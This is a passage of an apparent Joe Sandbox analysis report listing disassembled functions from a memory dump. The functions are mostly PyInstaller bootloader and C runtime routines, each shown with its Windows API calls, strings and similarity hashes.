Instruction Fuzzy Hash: E331DE22704B4182E720BF25B8141E6A6A6BF847E4F800136EF8DA3B55DF7CD556C734

Function 00007FF7C266DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7C266DFEA,?,?,?,00007FF7C266DCDC,?,?,?,00007FF7C266D8D9), ref: 00007FF7C266DDBD
GetLastError.KERNEL32(?,?,?,00007FF7C266DFEA,?,?,?,00007FF7C266DCDC,?,?,?,00007FF7C266D8D9), ref: 00007FF7C266DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF7C266DFEA,?,?,?,00007FF7C266DCDC,?,?,?,00007FF7C266D8D9), ref: 00007FF7C266DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF7C266DFEA,?,?,?,00007FF7C266DCDC,?,?,?,00007FF7C266D8D9), ref: 00007FF7C266DE63
GetProcAddress.KERNEL32(?,?,?,00007FF7C266DFEA,?,?,?,00007FF7C266DCDC,?,?,?,00007FF7C266D8D9), ref: 00007FF7C266DE6F

Strings

api-ms-, xrefs: 00007FF7C266DDDD

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: ca99eaaddc0146296dad49e4de504ee13e411f562468232d8270157770db3c05
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: FD31E125B0A64281EE12BF52E801574A3A5FF58BB0F990135DD9D67B80EFBCE044C3B8

Function 00007FF7C2666350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

LoadLibrary, xrefs: 00007FF7C266649E
ucrtbase.dll, xrefs: 00007FF7C26663CD
Failed to load Python DLL '%ls'., xrefs: 00007FF7C2666497
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7C26663F7
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7C26663B7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7C2666446

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: cead83cd1ccf990a599cd26594d67f04881fba9857dd11e7a31f7606ff52a15b
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: F2416021A19A86D1EA25EF20E4142E9A322FB54364FC04132DADD63F99EFBCE515C374

Function 00007FF7C2662A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7C266351A,?,00000000,00007FF7C2663F23), ref: 00007FF7C2662AA0

Strings

Warning [ANSI Fallback], xrefs: 00007FF7C2662B0F
[PYI-%d:%s] , xrefs: 00007FF7C2662AA8
WARNING, xrefs: 00007FF7C2662AAF
0, xrefs: 00007FF7C2662B16
Warning, xrefs: 00007FF7C2662B1E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: 43adab08448be0236fbb7b3e05f7bc3f8078ad4ed0d86ee71749775be72ed707
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: 65219472619B8192E720AF51B8417E6A3A5BB88794F800136EECCA3B59DFBCD145C720

Function 00007FF7C267B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7C267B1CF
FlsGetValue.KERNEL32 ref: 00007FF7C267B1E4
FlsSetValue.KERNEL32 ref: 00007FF7C267B205
FlsSetValue.KERNEL32 ref: 00007FF7C267B232
FlsSetValue.KERNEL32 ref: 00007FF7C267B243
FlsSetValue.KERNEL32 ref: 00007FF7C267B254
SetLastError.KERNEL32 ref: 00007FF7C267B26F

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction ID: 7faab1d344f064db26c71e0adac65fa2a5a9de31009b06518c82681ad8f7ca4f
Opcode Fuzzy Hash: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction Fuzzy Hash: 73214820A0E24681FA587B7166A113DD1435F54BB0FA44735E8BE66FD6DFACA840C730

Function 00007FF7C2687DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7C2687E0D
GetLastError.KERNEL32 ref: 00007FF7C2687E19
CloseHandle.KERNEL32 ref: 00007FF7C2687E31
CreateFileW.KERNEL32 ref: 00007FF7C2687E5C
WriteConsoleW.KERNEL32 ref: 00007FF7C2687E7B

Strings

CONOUT$, xrefs: 00007FF7C2687E3D

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: fe52ff5bb5477cff0e6adb46630e17b51b97d991c8b06975d0aa1f08d58d2520
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: BE117221618A41C6E750AF52A854339F2A1BB88FF4F540234D99D97BA4DFBCD804C760

Function 00007FF7C2668560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF7C2669216), ref: 00007FF7C2668592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF7C2669216), ref: 00007FF7C26685E9

Part of subcall function 00007FF7C2669400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7C26645E4,00000000,00007FF7C2661985), ref: 00007FF7C2669439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7C2669216), ref: 00007FF7C2668678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7C2669216), ref: 00007FF7C26686E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF7C2669216), ref: 00007FF7C26686F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF7C2669216), ref: 00007FF7C266870A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: f42f330bcf78f77c00130167690d867ba23e71ba7eb3f7b2cd23e656e472fa11
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: 6A419862B1968241E630AF21A5446AAA3B6FF84BE4F840135DFCDA7F85DE7CD405C734

Function 00007FF7C267B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA,?,?,?,?,00007FF7C26771FF), ref: 00007FF7C267B347
FlsSetValue.KERNEL32(?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA,?,?,?,?,00007FF7C26771FF), ref: 00007FF7C267B37D
FlsSetValue.KERNEL32(?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA,?,?,?,?,00007FF7C26771FF), ref: 00007FF7C267B3AA
FlsSetValue.KERNEL32(?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA,?,?,?,?,00007FF7C26771FF), ref: 00007FF7C267B3BB
FlsSetValue.KERNEL32(?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA,?,?,?,?,00007FF7C26771FF), ref: 00007FF7C267B3CC
SetLastError.KERNEL32(?,?,?,00007FF7C2674F81,?,?,?,?,00007FF7C267A4FA,?,?,?,?,00007FF7C26771FF), ref: 00007FF7C267B3E7

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction ID: 4f8fd3e3ad480a515c0257d243a3328341196199c08efc76b14b57b4b4aba63b
Opcode Fuzzy Hash: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction Fuzzy Hash: CD113B24A0C68282FA587F31769113DE1435F54BB0FA44735E8AEA6FD6DFACA481C731

Function 00007FF7C2662910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7C2661B6A), ref: 00007FF7C266295E

Strings

Error [ANSI Fallback], xrefs: 00007FF7C26629FF
[PYI-%d:ERROR] , xrefs: 00007FF7C2662966
Error, xrefs: 00007FF7C2662A0E
%s: %s, xrefs: 00007FF7C26629E8

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 03670c0cdb37342e05691df6835660fe32a63f5242df00d64ed4de1105fd1c94
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: D231ED22B15A8192E710BB65B8405E6A296BF847E4F800131EECD93B55EFBCD546C730

Function 00007FF7C2662390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7C26623C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7C266248E
DeleteObject.GDI32 ref: 00007FF7C26624C1
DestroyIcon.USER32 ref: 00007FF7C26624D3

Strings

Unhandled exception in script, xrefs: 00007FF7C26623F8

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: a64310fd92ac64e056d7ba75fc38410cde472148f533d8b158710979c8469994
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: B8315D62609A8289EB20BF21E8552F9A361FF887A8F840135EA8D57F59DF7CD104C720

Function 00007FF7C2662B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7C266918F,?,00007FF7C2663C55), ref: 00007FF7C2662BA0
MessageBoxW.USER32 ref: 00007FF7C2662C2A

Strings

WARNING, xrefs: 00007FF7C2662BAF
[PYI-%d:%ls] , xrefs: 00007FF7C2662BA8
Warning, xrefs: 00007FF7C2662C1D

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: 4790b0b2b294c19c476ec75688266e3f9a391377e1abfc216dc38fc722bf17bc
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: 7C219462708B8192E710AF24B8447EAA365EB88794F804136EE8DA7B55DF7CD615C720

Function 00007FF7C2662710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7C2661B99), ref: 00007FF7C2662760

Strings

Error [ANSI Fallback], xrefs: 00007FF7C26627CF
Error, xrefs: 00007FF7C26627DE
ERROR, xrefs: 00007FF7C266276F
[PYI-%d:%s] , xrefs: 00007FF7C2662768

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: a2db8bfbd29879900fa33c3fe538a553dd620458a3a898985a0a024709da7d9b
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: CD219472619B8192E710AF50B8407E6A3A5AB88794F800135EECCA3B59DFBCD145C720

Function 00007FF7C2679AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7C2679B1D
GetProcAddress.KERNEL32 ref: 00007FF7C2679B33
FreeLibrary.KERNEL32 ref: 00007FF7C2679B5A

Strings

CorExitProcess, xrefs: 00007FF7C2679B2C
mscoree.dll, xrefs: 00007FF7C2679B14

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: 72cf027ff2108743fd0f36c69c3f54dd6eae684aa761f21c900ad8ec229d2326
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: 1CF0C821B0970681EB10BF20E45537A9361AF45B71F940235C6EE56BF4DFACD044D330

Function 00007FF7C26893D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7C2689400
_set_statfp.LIBCMT ref: 00007FF7C268941B
_set_statfp.LIBCMT ref: 00007FF7C2689437
_set_statfp.LIBCMT ref: 00007FF7C2689473

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 4066623134d92e573f96b82a735dc14fdfbc2894475c7fb6c164c0b88dd34629
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 6611BF62E0EA1381F765BD64D856376A0466F58370F840634EBEF26FD6CEACA841C330

Function 00007FF7C267B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7C267A613,?,?,00000000,00007FF7C267A8AE,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267B41F
FlsSetValue.KERNEL32(?,?,?,00007FF7C267A613,?,?,00000000,00007FF7C267A8AE,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267B43E
FlsSetValue.KERNEL32(?,?,?,00007FF7C267A613,?,?,00000000,00007FF7C267A8AE,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267B466
FlsSetValue.KERNEL32(?,?,?,00007FF7C267A613,?,?,00000000,00007FF7C267A8AE,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267B477
FlsSetValue.KERNEL32(?,?,?,00007FF7C267A613,?,?,00000000,00007FF7C267A8AE,?,?,?,?,?,00007FF7C267A83A), ref: 00007FF7C267B488

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction ID: 0e5e7a931b28a25e0706fc9483b5e46d8a3d9439379cd7b3f91e67062d3625c4
Opcode Fuzzy Hash: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction Fuzzy Hash: 76115920A0864281FA58BB317651179E1435FA4BB0F988335E8BD66FDADFACA441C730

Function 00007FF7C267B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7C267B2A5
FlsSetValue.KERNEL32 ref: 00007FF7C267B2C4
FlsSetValue.KERNEL32 ref: 00007FF7C267B2EC
FlsSetValue.KERNEL32 ref: 00007FF7C267B2FD
FlsSetValue.KERNEL32 ref: 00007FF7C267B30E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction ID: 4b2fa603d742e20771aaf7ab28afbb10a72be2bf362c1518ea8d2f621e279cf4
Opcode Fuzzy Hash: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction Fuzzy Hash: F8113320A0920685FA68BE31246167A91434F55B30FE84735D8BE6ABC2DFACB881C771

Function 00007FF7C2676010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

